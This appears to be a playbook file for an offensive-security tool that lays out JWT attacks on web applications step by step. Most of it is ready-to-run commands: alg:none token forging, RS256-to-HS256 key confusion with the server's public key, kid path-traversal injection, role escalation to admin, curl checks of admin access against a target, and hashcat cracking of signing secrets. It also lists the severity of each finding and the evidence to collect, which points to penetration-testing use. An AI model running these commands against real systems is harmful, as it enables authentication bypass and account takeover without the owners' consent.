| name | attack-jwt |
| description | JWT token attacks — alg:none bypass, key confusion, claim tampering, signature stripping |
| category | web-application |
| version | 1.0 |
| author | cyberstrike-official |
| tags | ["jwt","authentication","web","token","attack"] |
| tech_stack | ["web"] |
| cwe_ids | ["CWE-287","CWE-347","CWE-345"] |
| chains_with | ["attack-idor-automation"] |
| prerequisites | [] |
| severity_boost | {"attack-idor-automation":"JWT tampering + IDOR = full account takeover"} |
JWT Token Attack
Objective
Exploit JWT implementation weaknesses to bypass authentication, escalate privileges, or forge tokens.
Testing Methodology
Phase 1: Decode & Analyze
attack_script jwt_tamper EYTOKEN --json-output
echo "HEADER.PAYLOAD.SIG" | cut -d. -f1 | base64 -d 2>/dev/null
echo "HEADER.PAYLOAD.SIG" | cut -d. -f2 | base64 -d 2>/dev/null
Check for:
- Algorithm (
alg field): RS256, HS256, none
- Claims:
role, is_admin, sub, exp, aud, iss
- Key ID (
kid): SQL injection, path traversal potential
Phase 2: Algorithm Attacks
attack_script jwt_tamper EYTOKEN --set-header alg=none
attack_script jwt_tamper EYTOKEN --set role=admin --set-header alg=none
attack_script jwt_tamper EYTOKEN --set sub=1 --set-header alg=none
attack_script jwt_tamper EYTOKEN --set role=admin --key "secret"
Phase 3: Key Confusion (RS256 → HS256)
If server uses RS256, try signing with the public key as HS256 secret:
curl -s https://TARGET/.well-known/jwks.json
attack_script jwt_tamper EYTOKEN --set role=admin --key "$(cat public.pem)" --set-header alg=HS256
Phase 4: kid Injection
attack_script jwt_tamper EYTOKEN --set-header "kid=../../../../../../dev/null" --key ""
attack_script jwt_tamper EYTOKEN --set-header "kid=/proc/sys/kernel/hostname"
Phase 5: Verify Impact
curl -s -H "Authorization: Bearer TAMPERED_TOKEN" https://TARGET/api/admin/users
What Constitutes a Finding
| Attack | Severity |
|---|
| alg=none accepted — auth bypass | Critical (P1) |
| Role escalation via claim tampering | Critical (P1) |
| RS256→HS256 key confusion | Critical (P1) |
| Weak signing key (crackable) | High (P2) |
| kid SQL injection | Critical (P1) |
| Expired tokens accepted | Medium (P3) |
Evidence Requirements
- Original JWT decoded (header + payload)
- Tampered JWT with modified claims
- Server response accepting tampered token
- Proof of elevated access (admin data, other user data)
Tools
attack_script jwt_tamper — automated decode/tamper/re-encode
jwt_tool (external) — comprehensive JWT testing
hashcat -m 16500 — JWT secret cracking
References